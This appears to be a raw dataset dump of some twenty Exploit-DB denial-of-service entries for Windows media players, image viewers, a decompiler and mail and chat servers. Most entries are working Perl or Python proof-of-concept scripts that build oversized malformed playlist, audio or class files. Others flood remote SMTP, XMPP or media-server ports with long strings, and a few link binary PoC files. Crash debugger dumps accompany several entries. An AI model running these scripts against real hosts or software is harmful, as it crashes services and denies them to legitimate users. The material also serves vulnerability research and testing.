deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18739
Description: IrfanView FlashPix PlugIn - Decompression Heap Overflow
Type: dos
Platform: windows
Date: 2012-04-14
Author: Francis Provencher

Exploit:
#####################################################################################

Application:  IrfanView FlashPix PlugIn Decompression Heap Overflow

Platforms:   Windows

Secunia Number:   SA48772  

{PRL}:   2012-08

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============

IrfanView is a freeware/shareware image viewer for Microsoft Windows that can view, edit, and convert image files

and play video/audio files. It is noted for its small size, speed, ease of use, and ability to handle a wide variety of graphic

file formats, and has some image creation and painting capabilities. The software was first released in 1996.

IrfanView is free for non-commercial use; commercial use requires paid registration.

#####################################################################################

============
2) Timeline
============


2012-04-06 - Vulnerability reported to secunia
2012-04-13 - Coordinated public release of advisory

#####################################################################################

=================
3) Technical details
=================

The vulnerability is caused due to insufficient validation when decompressing FlashPix images

and can be exploited to cause a heap-based buffer overflow via a specially crafted FPX file.

#####################################################################################

=============
4) The PoC
=============

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19960.fpx


###############################################################################
Exploit-DB #18256
Description: IrfanView FlashPix PlugIn - Double-Free
Type: dos
Platform: windows
Date: 2011-12-20
Author: Francis Provencher

Exploit:
#####################################################################################

Application:  IrfanView FlashPix PlugIn Double-Free Vulnerability

Platforms:   Windows

Exploitation:   Remote code execution

Secunia Number:   SA47322  

{PRL}:   2011-11

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============

IrfanView is a freeware/shareware image viewer for Microsoft Windows that can view, edit, and convert image files

and play video/audio files. It is noted for its small size, speed, ease of use, and ability to handle a wide variety of graphic

file formats, and has some image creation and painting capabilities. The software was first released in 1996.

IrfanView is free for non-commercial use; commercial use requires paid registration.

#####################################################################################

============
2) Timeline
============


2011-12-08 - Vulnerability reported to vendor
2011-12-20 - Coordinated public release of advisory

#####################################################################################

=================
3) Technical details
=================

The vulnerability is caused due to the "Free_All_Memory()" function not properly setting certain decoder elements to

NULL after freeing them, which can be exploited to cause a double-free condition via specially crafted FPX images.

#####################################################################################

=============
4) The Code
=============
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18256.fpx
http://www.protekresearchlab.com/exploits/PRL-2011-11.fpx
Exploit-DB #47662
Description: iSmartViewPro 1.3.34 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-11-18
Author: Ivan Marmolejo

Exploit:
# Exploit Title: iSmartViewPro 1.3.34 - Denial of Service (PoC)
# Discovery by: Ivan Marmolejo
# Discovery Date: 2019 -11-16
# Vendor Homepage: http://www.smarteyegroup.com/
# Software Link: https://apps.apple.com/mx/app/ismartviewpro/id834791071
# Tested Version: 1.3.34
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: iPhone 6s - iOS 13.2

##############################################################################################################################################

Summary: This app is specially built for P2P IP camera series. thanks to unique P2P connection technology that users are able to watch live 
video on iPhone from any purchased IP camera by simply enter camera's ID and password; no complex IP or router settings. The app have a lot of
functions, such as local record video, set ftp params, set email, set motion alarm and so on.

##############################################################################################################################################

Steps to Produce the Crash:

   1.- Run python code: iSmartViewPro.py
   2.- Copy content to clipboard
   3.- Open App "iSmartViewPro"
   4.- Go to "Add Camera"
   5.- go to "Add network cameras"
   6.- Paste ClipBoard on "Camara DID"
   7.- Paste ClipBoard on "Password"
   8.- Next
   9.- Crashed

##############################################################################################################################################

Python "iSmartViewPro" Code:

   buffer = "\x41" * 257
   print (buffer)

##############################################################################################################################################
Exploit-DB #2302
Description: J. River Media Center 11.0.309 - Remote Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2006-09-05
Author: n00b

Exploit:
#!/usr/bin/perl
##Credit to n00b for finding this bug..^ ^
############################################################################
#Media Center 11 d0s exploit overly long string.
#TiVo server plugin..Runs on port tcp :8070
#Also J. River UPnP Server Version 1.0.34
#is also afected by the same bug which is just a
#dos exploit.As we know the port always changes for the
#UPnP server so you may have to modify the proof of concept a little
#This exploit will deny legitimate user's from using the service
#We should see a error with the following msg Upon sucsessfull exploitation.
#All 3 of the server plugin's will fail includin the library server which
#is set to port :80 by default.The only debug info i was able to collect
#at crash time is also provided with the proof of concept.
#As you can see from the debug info provided we canot control any memory
#Adresses.
#Shout's to aelph and every-one who has helped me over the year's.
#############################################################################
#   X  Microsoft Visual C ++ Runtime Library
#
#   Buffer overrun detected!
#
#   C:\Program Files\J River\Media Center 11\Media center.exe
#
#   A Buffer overrun has been detected which has corrupted the program's
#   internal state. The program cannot safely continue execution and must
#   be now terminated.
#                                                   Bah fucking shame..
##############################################################################
#o/s info: win xp sp.2  Media Center 11.0.309 (not registered)
#                       \\ DEBUG INFO //
#
#eax=77c26ed2 ebx=00000000 ecx=77c1129c edx=00000000 esi=77f7663e edi=00000003
#eip=7ffe0304 esp=01b7e964 ebp=01b7ea5c iopl=0         nv up ei pl nz na
pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000202
#SharedUserData!SystemCallStub+0x4:
#7ffe0304 c3               ret
##############################################################################

print "Media Center 11.0.309 Remote d0s J River TiVo server all 3 plugin's are vuln by n00b \n";

use IO::Socket;

$ip = $ARGV[0];

$payload = "\x41"x5500;

if(!$ip)
{

die "you forgot the ip dumb nut\n";

}

$port = '8070';

$protocol = 'tcp';


$socket = IO::Socket::INET->new(PeerAddr=>$ip,
                               PeerPort=>$port,
                               Proto=>$protocol,
                               Timeout=>'1') || die "Make sure service is running on the port\n";


print $socket $payload;

close($socket);

# milw0rm.com [2006-09-05]
Exploit-DB #33710
Description: J. River Media Jukebox 12 - '.mp3' Remote Heap Buffer Overflow
Type: dos
Platform: windows
Date: 2010-03-04
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/38566/info

J. River Media Jukebox is prone to a remote heap-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

Media Jukebox 12 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8837.mp3
Exploit-DB #14525
Description: Jaangle 0.98e.971 - Denial of Service
Type: dos
Platform: windows
Date: 2010-08-02
Author: s-dz

Exploit:
#!/usr/bin/perl
# jaangle 0.98e.971
# Author: s-dz        , s-dz@hotmail.fr
# Download : http://www.jaangle.com/files/jsetup.exe
# Tested : Windows XP SP2 (fr)
# DATE   : 2010-08-02
#
# thanks TCT , DGM8
#
# Exploit-DB Notes:
# 0012B448   00410041  A.A.  jaangle.00410041
# 0012B44C   00410041  A.A.  Pointer to next SEH record
# 0012B450   00410041  A.A.  SE handler
# 0012B454   00410041  A.A.  jaangle.00410041
# The overwrite is caused by a wsprintfW() function, however the program checks
# for a XOR'd DWORD at ESP+7D8 with DS:[601E60] (if not matched --> TerminateProcess).
# Having control over the SEH does not actually cause any exception between wsprintfW()
# to TerminateProcess().

my $file= "mahboul-3lik00.m3u";
my $junk= "\x41" x  1000000;

open($FILE, ">$file");
print($FILE $junk);
close($FILE);
print("exploit created successfully");
Exploit-DB #35532
Description: jaangle 0.98i.977 - Denial of Service
Type: dos
Platform: windows
Date: 2014-12-15
Author: s-dz

Exploit:
# jaangle 0.98i.977   Denial of Service Vulnerability
# Author: hadji samir        , s-dz@hotmail.fr
# Download : http://www.jaangle.com/downloading?block
# Tested : Windows 7 (fr)
# DATE   : 2012-12-13
#

################################################################### 
 

EAX 000000C0
ECX 00000000
EDX 00000000
EBX 00000003
ESP 01C5FE28
EBP 01C5FF88
ESI 00000002
EDI 002B4A98
EIP 776964F4 ntdll.KiFastSystemCallRet
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDC000(8000)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00000206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

#!/usr/bin/python

buff = ("\x41" * 30000 )

f = open("exploit.m3u",'w')
f.write( buff )
f.close()
Exploit-DB #24770
Description: Jabber Server 2.0 - Multiple Remote Buffer Overflow Vulnerabilities
Type: dos
Platform: windows
Date: 2004-11-24
Author: icbm

Exploit:
source: https://www.securityfocus.com/bid/11741/info

Multiple remote buffer overflow vulnerabilities affect the Jabber Server. These issues are due to a failure of the application to properly validate the length of user-supplied strings prior to copying them into finite process buffers.

An attacker may leverage these issues to execute arbitrary code on a computer with the privileges of the server process. This may facilitate unauthorized access or privilege escalation.

#!/usr/bin/python
import xmpp
name = 'a'*10240
# Born a client
cl=xmpp.Client('localhost')
if not cl.connect(server=('192.168.10.138',5222)):
raise IOError('Can not connect to server.') 
if not cl.auth(name,'jabberuserpassword','optional resource name'):
raise IOError('Can not auth with server.')
cl.disconnect()
Exploit-DB #20221
Description: Jack De Winter WinSMTP 1.6 f/2.0 - Buffer Overflow
Type: dos
Platform: windows
Date: 2000-09-11
Author: Guido Bakker

Exploit:
source: https://www.securityfocus.com/bid/1680/info

A number of unchecked buffers exist in the SMTP and POP3 components of Jack De Winter's WinSMTP mail daemon which could lead to denial of service attacks or arbitrary code execution, depending on the data entered.

Sending a HELO command consisting of approximately 170 bytes or a USER command consisting of approximately 370 bytes will result in a Windows general protection fault error.

#!/usr/bin/perl
#
# ./$0.pl -s <server>
# sends data to stmpd, overflowing server buffer.
#
use Getopt::Std;
use IO::Socket;
getopts('s:', \%args);
if(!defined($args{s})){&usage;}
$serv = $args{s};
$foo = "A"; $number = 170; 
$data .= $foo x $number; $EOL="\015\012";
$remote = IO::Socket::INET->new(
		    Proto	=> "tcp",
		    PeerAddr	=> $args{s},
		    PeerPort	=> "smtp(25)",
		) || die("Unable to connect to smtp port at $args{s}\n");
$remote->autoflush(1);
print $remote "HELO $data". $EOL;
while (<$remote>){ print }

print("\nCrash was successful !\n");

sub usage {die("\n$0 -s <server>\n\n");}
Exploit-DB #11670
Description: JAD java Decompiler 1.5.8g - '.class' Stack Overflow Denial of Service
Type: dos
Platform: windows
Date: 2010-03-09
Author: l3D

Exploit:
#!/usr/bin/env python
#JAD java decompiler 1.5.8g (.class) Stack Overflow DoS
#Tested on Windows
#Software Link: http://www.varaneckas.com/jad
#Author: l3D
#Site: http://xraysecurity.blogspot.com
#IRC: irc://irc.nix.co.il
#Email: pupipup33@gmail.com

header='\xca\xfe\xba\xbe\x01\x04\x01\x04\xff\xff'
evil='\x07\x01\x01'*0x100000
bad=open('crash.class', 'w')
bad.write(header+evil)
bad.close()
Exploit-DB #11669
Description: JAD java Decompiler 1.5.8g - 'argument' Local Crash
Type: dos
Platform: windows
Date: 2010-03-09
Author: l3D

Exploit:
#!/usr/bin/env python
#JAD java decompiler 1.5.8g (argument) Local Crash
#Tested on Windows
#Software Link: http://www.varaneckas.com/jad
#Author: l3D
#Site: http://xraysecurity.blogspot.com
#IRC: irc://irc.nix.co.il
#Email: pupipup33@gmail.com

#The software crashes when it gets an argument that is between 0x1fc9 to 0x1fdc bytes.

from random import randint
import os, sys

if len(sys.argv) != 1:
path=sys.argv[1]
else:
path='jad.exe'

if not os.path.exists(path):
print 'Usage: python %s [path to jad.exe]' % sys.argv[0]
exit(-1)

evil='A'*randint(0x1fc9, 0x1fdc)
os.execl(path, path, evil)
Exploit-DB #14624
Description: JaMP Player 4.2.2.0 - Denial of Service
Type: dos
Platform: windows
Date: 2010-08-12
Author: Oh Yaw Theng

Exploit:
# Exploit Title: JaMP Player v4.2.2.0 (.m3u) DoS
# Date: 12 / 8 / 2010
# Author: Oh Yaw Theng
# Software Link: http://www.topdownloads.net/software/jamp-player_2_219088.html?hl=&ia=0
# Version: v4.2.2.0
# Tested on: Windows XP SP 2
# CVE : N / A

#!/usr/bin/python

filename = "crash.m3u"

junk = "\x41" * 5000

exploit = junk

textfile = open(filename,'w')
textfile.write(exploit)
textfile.close()
Exploit-DB #5085
Description: jetAudio 7.0.5 - '.asx' Remote Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-02-08
Author: laurent gaffiÃ©

Exploit:
Application: jetAudio <= 7.0.5 (.ASX) Remote Stack Overflow
Web Site: http://www.cowonamerica.com/download/
Platform: Windows
Bug:Remote Stack Overflow
Extension: ASX
special condition: none

-------------------------------------------------------

1) Introduction

2) Bug

3) Proof of concept

4) Credits

===========
1) Introduction
===========

A nice introduction to jetaudio  can be found : http://www.cowonamerica.com/products/jetaudio/

======
2) Bug
======

When parsing an asx file with a long URL a stack overflow occurs.


=====
3)Proof of concept
=====

Proof of concept example :

An url with 1096 A ( http://AAAAA....) will overwritte ESI and crash the program

Here's the debugger output:
Access violation - code c0000005

eax=00000000 ebx=01187684 ecx=00000459 edx=0012d39c esi=41414141 edi=00000001

eip=00441dad esp=0012cf3c ebp=00000001 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206

JetAudio!CxImage::`copy constructor closure'+0x1109d:

00441dad 8b06             mov     eax,[esi]         ds:0023:41414141=????????

Here's the the Poc :


#!/usr/local/bin/perl                                         
                                                              
use strict;                                                   
                                                              
use warnings;                                                 
                                                              
my $file="myfile.asx";                            
                                                              
my $payload = "A" x 1096;                                     
                                                              
open( $FILE, ">>$file") or die "Cannot open $file: $!";       
                                                              
print $FILE "http://".$payload;                               
                                                              
close($FILE);                                                 
                                                              
print "$file has been created \n";                            
                                                              




=====
5)Credits
=====

laurent gaffiÃ©
laurent.gaffie{remove_this}[at]gmail[dot]com

# milw0rm.com [2008-02-08]
Exploit-DB #9359
Description: jetAudio 7.1.9.4030 plus vx - '.m3u' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-08-04
Author: hack4love

Exploit:
#!/usr/bin/perl
# Found By :: HACK4LOVE
# hack4love@hotmail.com
# jetAudio v 7.1.9.4030 plus vx (.m3u ) Local Stack Overflow PoC
########################################################################################
##EAX 01052C10 ASCII
##ECX 007B0390
##EDX 00000000
##EBX 41414141
##ESP 0308F6F0
##EBP 0308F90C
##ESI 01052C08 ASCII
##EDI 41414141
##EIP 7C91B3FB ntdll.7C91B3FB
########################################################################################
#### it can be exploit but it didnot work for me ####
########################################################################################
###Thanks for all 3asfh.net//// team and all WwW.Sec-ArT.CoM/cc team
########################################################################################
my $crash="http://"."\x41" x 2000;
open(myfile,'>>hack4love.m3u');
print myfile $crash;
########################################################################################

# milw0rm.com [2009-08-04]
Exploit-DB #9139
Description: JetAudio 7.5.3 COWON Media Center - '.wav' Crash
Type: dos
Platform: windows
Date: 2009-07-14
Author: prodigy

Exploit:
#!/usr/bin/perl -w
#
# JetAudio 7.5.3 COWON Media Center(.WAV file) Memory Comsumption DoS Exploit
#
# Founded and exploited by prodigy
# 
# Vendor: JetAudio
#
# Usage to reproduce the bug: you need a file of recorded music in .wav,and then open it with JetAudio and booom!
#
# Platform: Windows
#
###################################################################

==PoC==

use strict;

use diagnostics;

my $file= "c:\filerecorder.wav" #the file must be recorded with music

my $boom= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 5000;

open($FILE,">>$file");

print $FILE "$boom";

close($FILE);

==EndPoC==


##Greetz: Greetz myself for find the bug.

# milw0rm.com [2009-07-14]
Exploit-DB #9376
Description: jetAudio 7.5.5 plus vx - '.M3U'/'.ASX'/'.WAX'/'.WVX' Local Crash (PoC)
Type: dos
Platform: windows
Date: 2009-09-10
Author: Dr_IDE

Exploit:
#!/usr/bin/env python

###########################################################################################
#
# JetAudio 7.5.3.15 Local Crash PoC
# Found By: Dr_IDE
# Download: http://www.cowonamerica.com/download/
# Tested on Windows XP SP2
# 
############################################################################################

# Crash occurs in msvcr90.dll which is included with this version of the program.


buff = ("http://" + "\x41" * 8000);

print " [-] Creating payload.";

f1 = open('JA_7.5.3.15.M3U','w');
f1.write(buff);
f1.close();

print " [-] File created successfully.";

# milw0rm.com [2009-08-06]
Exploit-DB #10650
Description: jetAudio 8.0.0.0 - '.asx' Basic Local Crash (PoC)
Type: dos
Platform: windows
Date: 2009-12-25
Author: D3V!L FUCKER

Exploit:
#!/user/bin/perl
# Exploit Title: [Local Crash Poc]
# Date: [Fri/Dec/25/2009]
# Author: [D3V!L FUCKER]
# Software Link: [http://www.jetaudio.com]
# Version: [jetAudio v 8.0.0.0 Basic]
# Tested on: [windows vista sp0]
# Code :
my $file= "crash.asx";

my $boom= "http://"."AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 5000;

open($FILE,">>$file");

print $FILE "$boom";

close($FILE);

print "Done..!~#\n";
Exploit-DB #11209
Description: jetAudio 8.0.0.2 Basic - '.asx' Local Crash
Type: dos
Platform: windows
Date: 2010-01-21
Author: cr4wl3r

Exploit:
#!/usr/bin/perl
# Title: jetAudio 8.0.0.2 Basic Local Crash Exploit
# Author: cr4wl3r
# Platform: Windows
#########################################

my $file= "crash.asx";

my $boom= "http://"."AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 5000;

open($FILE,">>$file");

print $FILE "$boom";

close($FILE);

print "Done..!~#\n";